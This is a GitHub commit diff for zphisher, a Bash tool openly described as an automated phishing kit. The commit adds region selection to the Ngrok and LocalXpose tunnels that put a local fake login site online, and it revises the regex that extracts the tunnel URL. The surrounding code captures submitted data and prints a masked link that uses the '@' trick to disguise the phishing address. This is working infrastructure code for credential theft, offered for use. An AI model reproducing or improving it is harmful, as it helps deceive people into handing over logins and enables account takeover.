Skip to content

Commit 0034c76

Browse files
committed
Region Support for Ngrok & Loclx
1 parent 139ab32 commit 0034c76

File tree

2 files changed

+24
-7
lines changed

2 files changed

+24
-7
lines changed

README.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -17,6 +17,7 @@
1717
<img src="https://img.shields.io/badge/Open%20Source-Yes-darkgreen?style=flat-square">
1818
<img src="https://img.shields.io/badge/Maintained%3F-Yes-lightblue?style=flat-square">
1919
<img src="https://img.shields.io/badge/Written%20In-Bash-darkcyan?style=flat-square">
20+
<img src="https://hits.seeyoufarm.com/api/count/incr/badge.svg?url=https%3A%2F%2Fgithub.com%2Fhtr-tech%2Fzphisher&title=Visitors&edge_flat=false"/></a>
2021
</p>
2122

2223
<p align="center"><b>A beginners friendly, Automated phishing tool with 30+ templates.</b></p>

zphisher.sh

Lines changed: 23 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -409,12 +409,20 @@ capture_data() {
409409
start_ngrok() {
410410
echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Initializing... ${GREEN}( ${CYAN}http://$HOST:$PORT ${GREEN})"
411411
{ sleep 1; setup_site; }
412-
echo -ne "\n\n${RED}[${WHITE}-${RED}]${GREEN} Launching Ngrok..."
412+
echo -e "\n"
413+
read -p "${RED}[${WHITE}-${RED}]${ORANGE} Change Ngrok Server Region? ${GREEN}[${CYAN}y${GREEN}/${CYAN}N${GREEN}]:${ORANGE} " opinion
414+
opinion=${opinion:=N}
415+
if [[ ${opinion::1} == "y" || ${opinion::1} == "Y" ]]; then
416+
ngrok_region="eu" # eu, au, ap, sa, jp, in
417+
else
418+
ngrok_region="us"
419+
fi
420+
echo -ne "\n${RED}[${WHITE}-${RED}]${GREEN} Launching Ngrok..."
413421

414422
if [[ `command -v termux-chroot` ]]; then
415-
sleep 2 && termux-chroot ./.server/ngrok http "$HOST":"$PORT" --log=stdout > /dev/null 2>&1 &
423+
sleep 2 && termux-chroot ./.server/ngrok http --region ${ngrok_region} "$HOST":"$PORT" --log=stdout > /dev/null 2>&1 &
416424
else
417-
sleep 2 && ./.server/ngrok http "$HOST":"$PORT" --log=stdout > /dev/null 2>&1 &
425+
sleep 2 && ./.server/ngrok http --region ${ngrok_region} "$HOST":"$PORT" --log=stdout > /dev/null 2>&1 &
418426
fi
419427

420428
{ sleep 8; clear; banner_small; }
@@ -451,16 +459,24 @@ start_cloudflared() {
451459
start_loclx() {
452460
echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Initializing... ${GREEN}( ${CYAN}http://$HOST:$PORT ${GREEN})"
453461
{ sleep 1; setup_site; }
454-
echo -ne "\n\n${RED}[${WHITE}-${RED}]${GREEN} Launching LocalXpose..."
462+
echo -e "\n"
463+
read -p "${RED}[${WHITE}-${RED}]${ORANGE} Change Loclx Server Region? ${GREEN}[${CYAN}y${GREEN}/${CYAN}N${GREEN}]:${ORANGE} " opinion
464+
opinion=${opinion:=N}
465+
if [[ ${opinion::1} == "y" || ${opinion::1} == "Y" ]]; then
466+
loclx_region="eu" # ap / eu
467+
else
468+
loclx_region="us"
469+
fi
470+
echo -ne "\n${RED}[${WHITE}-${RED}]${GREEN} Launching LocalXpose..."
455471

456472
if [[ `command -v termux-chroot` ]]; then
457-
sleep 2 && termux-chroot ./.server/loclx tunnel H -t "$HOST":"$PORT" --https-redirect > .server/.loclx 2>&1 &
473+
sleep 2 && termux-chroot ./.server/loclx tunnel http --region ${loclx_region} -t "$HOST":"$PORT" --https-redirect > .server/.loclx 2>&1 &
458474
else
459-
sleep 2 && ./.server/loclx tunnel H -t "$HOST":"$PORT" --https-redirect > .server/.loclx 2>&1 &
475+
sleep 2 && ./.server/loclx tunnel http --region ${loclx_region} -t "$HOST":"$PORT" --https-redirect > .server/.loclx 2>&1 &
460476
fi
461477

462478
{ sleep 12; clear; banner_small; }
463-
loclx_url=$(cat .server/.loclx | grep -o '[-0-9a-z]*\.loclx.io')
479+
loclx_url=$(cat .server/.loclx | grep -Eo '[-0-9a-z]+.[-0-9a-z]+(.loclx.io)') # Somebody fix this crappy regex :(
464480
echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} URL 1 : ${GREEN}http://$loclx_url"
465481
echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} URL 2 : ${GREEN}$mask@$loclx_url"
466482
capture_data

0 commit comments

Comments
 (0)